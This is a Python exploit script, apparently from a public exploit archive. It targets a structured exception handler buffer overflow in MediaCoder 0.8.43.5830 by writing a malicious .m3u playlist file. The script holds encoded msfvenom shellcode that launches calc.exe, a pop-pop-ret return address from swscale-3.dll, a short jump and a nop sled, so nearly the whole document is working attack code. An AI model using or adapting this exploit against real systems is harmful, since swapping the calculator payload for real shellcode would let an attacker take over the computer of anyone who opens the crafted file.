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#!/usr/bin/python # Exploit Title: Mediacoder 0.8.43.5830 - Buffer Overflow SEH Exploit (.m3u) # Date: 25-June-2016 # Exploit Author: Sibusiso Sishi # Email: sibusiso [at] IronSky [dot] co.za # Vendor Homepage: http://www.mediacoderhq.com/ # Software Link: http://www.mediacoderhq.com/getfile.htm?site=mediatronic.com.au/download&file=MediaCoder-0.8.43.5830.exe # Version: 0.8.43.5830 # Tested on: Windows XP SP3 EN #msfvenom -a x86 --platform Windows -p windows/exec CMD=calc.exe -e x86/shikata_ga_nai -b '\x00\x0a\x0d\xff' -f c shellcode = ("\xda\xca\xbb\x4a\xfa\x8e\x16\xd9\x74\x24\xf4\x5a\x29\xc9\xb1" "\x31\x83\xc2\x04\x31\x5a\x14\x03\x5a\x5e\x18\x7b\xea\xb6\x5e" "\x84\x13\x46\x3f\x0c\xf6\x77\x7f\x6a\x72\x27\x4f\xf8\xd6\xcb" "\x24\xac\xc2\x58\x48\x79\xe4\xe9\xe7\x5f\xcb\xea\x54\xa3\x4a" "\x68\xa7\xf0\xac\x51\x68\x05\xac\x96\x95\xe4\xfc\x4f\xd1\x5b" "\x11\xe4\xaf\x67\x9a\xb6\x3e\xe0\x7f\x0e\x40\xc1\xd1\x05\x1b" "\xc1\xd0\xca\x17\x48\xcb\x0f\x1d\x02\x60\xfb\xe9\x95\xa0\x32" "\x11\x39\x8d\xfb\xe0\x43\xc9\x3b\x1b\x36\x23\x38\xa6\x41\xf0" "\x43\x7c\xc7\xe3\xe3\xf7\x7f\xc8\x12\xdb\xe6\x9b\x18\x90\x6d" "\xc3\x3c\x27\xa1\x7f\x38\xac\x44\x50\xc9\xf6\x62\x74\x92\xad" "\x0b\x2d\x7e\x03\x33\x2d\x21\xfc\x91\x25\xcf\xe9\xab\x67\x85" "\xec\x3e\x12\xeb\xef\x40\x1d\x5b\x98\x71\x96\x34\xdf\x8d\x7d" "\x71\x2f\xc4\xdc\xd3\xb8\x81\xb4\x66\xa5\x31\x63\xa4\xd0\xb1" "\x86\x54\x27\xa9\xe2\x51\x63\x6d\x1e\x2b\xfc\x18\x20\x98\xfd" "\x08\x43\x7f\x6e\xd0\xaa\x1a\x16\x73\xb3") seh = "\x94\x39\xf0\x64" #0x64f03994 pop ebx # pop esi # ret swscale-3.dll nseh = "\xeb\x07\x90\x90" #JMP SHORT to nopsled which leads to the shellcode nop_sled = "\x90" * 14 buff = "http:// " buff += "A" * 776 buff += nseh buff += seh buff += nop_sled buff += shellcode buff += "D" * (4216 - (len(shellcode + nop_sled))) fo = open("foo.m3u", "wb") fo.write (buff) fo.close() |
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